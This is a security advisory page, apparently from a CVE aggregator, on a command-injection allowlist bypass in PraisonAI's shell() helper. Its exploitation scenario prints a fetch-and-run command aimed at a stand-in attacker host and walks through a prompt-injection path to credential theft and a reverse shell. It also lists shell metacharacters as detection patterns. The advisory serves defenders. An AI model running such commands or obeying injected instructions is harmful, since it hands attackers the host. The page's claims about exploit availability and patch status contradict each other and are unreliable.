CVE-2026-57133: PraisonAI: allowlist bypass in shell() enables RCE
HIGHPoC AVAILABLECISA: ATTENDPraisonAI's TypeScript shell() helper (versions 1.5.1 to before 1.7.2) validates only the first word of a command against a read-only allowlist and then executes the whole string through child_process.exec(), so an attacker can chain any command with shell syntax such as ';' or '&&'. The flaw is rated high (CVSS 8.8, network-reachable, low complexity, low privileges, no user interaction) and gives full code execution with the privileges of the PraisonAI process. Exploitation likelihood is moderate for now: EPSS is 0.8% (top 45%), there is no public exploit, no Nuclei template and no KEV listing, though CISA SSVC says ATTEND. Agent frameworks are especially exposed because a prompt-injected LLM can supply the command string, which turns the bug into a remote path from untrusted content to the host. Upgrade to 1.7.2 or later, and until then disable or isolate the shell tool and run agents in sandboxed, least-privilege containers. Note that the advisory reference points to a v4.6.62 release tag, so confirm the exact fixed version for your package channel.
What is the risk?
High. The weakness is a classic command injection (CWE-78) behind a broken allowlist check (CWE-863, CWE-693), and the impact covers confidentiality, integrity and availability. It needs only low privileges and is not complex. Real-world likelihood is tempered by a low EPSS (0.8%), no public PoC and no KEV listing. Exposure depends on whether the TypeScript shell() tool is enabled for agents. In deployments where an LLM can be steered by untrusted input (web pages, documents, user messages), the effective barrier drops sharply, so treat agent-facing deployments as higher risk than the base score suggests.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | — | No patch |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade PraisonAI TypeScript to 1.7.2 or later (verify the fixed release against the GHSA-5jv7-2mjm-h6qj advisory and the linked commit). 2) Until patched, remove or disable the shell() tool from agent tool lists, or wrap it in a strict allowlist that uses execFile with an argument array rather than a shell string. 3) Run agents in containers or sandboxes with no host mounts, a non-root user, read-only filesystems where possible, and egress filtering. 4) Keep secrets out of the agent process environment and use short-lived scoped credentials. 5) Detect abuse by alerting on child processes spawned by the Node.js agent process, shell metacharacters (; && || | ` $() ) in tool-call logs, and unexpected outbound connections. 6) Review agent logs for past tool calls that began with an allowed command followed by extra commands.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-57133?
PraisonAI's TypeScript shell() helper (versions 1.5.1 to before 1.7.2) validates only the first word of a command against a read-only allowlist and then executes the whole string through child_process.exec(), so an attacker can chain any command with shell syntax such as ';' or '&&'. The flaw is rated high (CVSS 8.8, network-reachable, low complexity, low privileges, no user interaction) and gives full code execution with the privileges of the PraisonAI process. Exploitation likelihood is moderate for now: EPSS is 0.8% (top 45%), there is no public exploit, no Nuclei template and no KEV listing, though CISA SSVC says ATTEND. Agent frameworks are especially exposed because a prompt-injected LLM can supply the command string, which turns the bug into a remote path from untrusted content to the host. Upgrade to 1.7.2 or later, and until then disable or isolate the shell tool and run agents in sandboxed, least-privilege containers. Note that the advisory reference points to a v4.6.62 release tag, so confirm the exact fixed version for your package channel.
Is CVE-2026-57133 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2026-57133, increasing the risk of exploitation.
How to fix CVE-2026-57133?
1) Upgrade PraisonAI TypeScript to 1.7.2 or later (verify the fixed release against the GHSA-5jv7-2mjm-h6qj advisory and the linked commit). 2) Until patched, remove or disable the shell() tool from agent tool lists, or wrap it in a strict allowlist that uses execFile with an argument array rather than a shell string. 3) Run agents in containers or sandboxes with no host mounts, a non-root user, read-only filesystems where possible, and egress filtering. 4) Keep secrets out of the agent process environment and use short-lived scoped credentials. 5) Detect abuse by alerting on child processes spawned by the Node.js agent process, shell metacharacters (; && || | ` $() ) in tool-call logs, and unexpected outbound connections. 6) Review agent logs for past tool calls that began with an allowed command followed by extra commands.
What systems are affected by CVE-2026-57133?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, multi-agent systems, tool-calling pipelines, LLM orchestration services.
What is the CVSS score for CVE-2026-57133?
CVE-2026-57133 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.80%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049Exploit Public-Facing ApplicationAML.T0050Command and Scripting InterpreterAML.T0051.001IndirectAML.T0053AI Agent Tool InvocationCompliance Controls Affected
What are the technical details?
Original Advisory
PraisonAI is a multi-agent teams system. From 1.5.1 until 1.7.2, the shell() helper exported from src/praisonai-ts/src/tools/utility-tools.ts checks only the first whitespace-delimited token against safeCommands and then passes the complete original string to child_process.exec(). A string that starts with an allowed read-only command can append a second non-allowlisted command through shell syntax, allowing arbitrary command execution with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Exploitation Scenario
An attacker plants a hidden instruction in a web page or document that a PraisonAI research agent ingests. The injected prompt makes the agent call shell() with a string such as 'ls; curl https://attacker.example/x.sh | sh'. Because only 'ls' is checked against the allowlist, the whole string is passed to exec() and the second command runs with the agent's privileges. The attacker then harvests LLM API keys and cloud credentials from the environment, establishes a reverse shell, and moves to other systems that trust the agent host. A direct variant works for any user with low-privilege access to an exposed PraisonAI endpoint that accepts tool input.
Weaknesses (CWE)
CWE-693Protection Mechanism FailurePrimaryCWE-78Improper Neutralization of Special Elements used in an OS CommandPrimaryCWE-863Incorrect AuthorizationPrimaryCWE-693Protection Mechanism FailureCWE-78Improper Neutralization of Special Elements used in an OS CommandCWE-863Incorrect AuthorizationCWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-4816810.0PraisonAI: shell injection in Claude Action enables RCE
Same package: praisonaiCVE-2026-6144710.0PraisonAI: RCE via unsandboxed LLM code execution
Same package: praisonaiCVE-2026-614459.9PraisonAI: AICoder root RCE via unsanitized tool calls
Same package: praisonaiGHSA-vmmj-pfw7-fjwp9.9praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonaiCVE-2026-473929.9praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai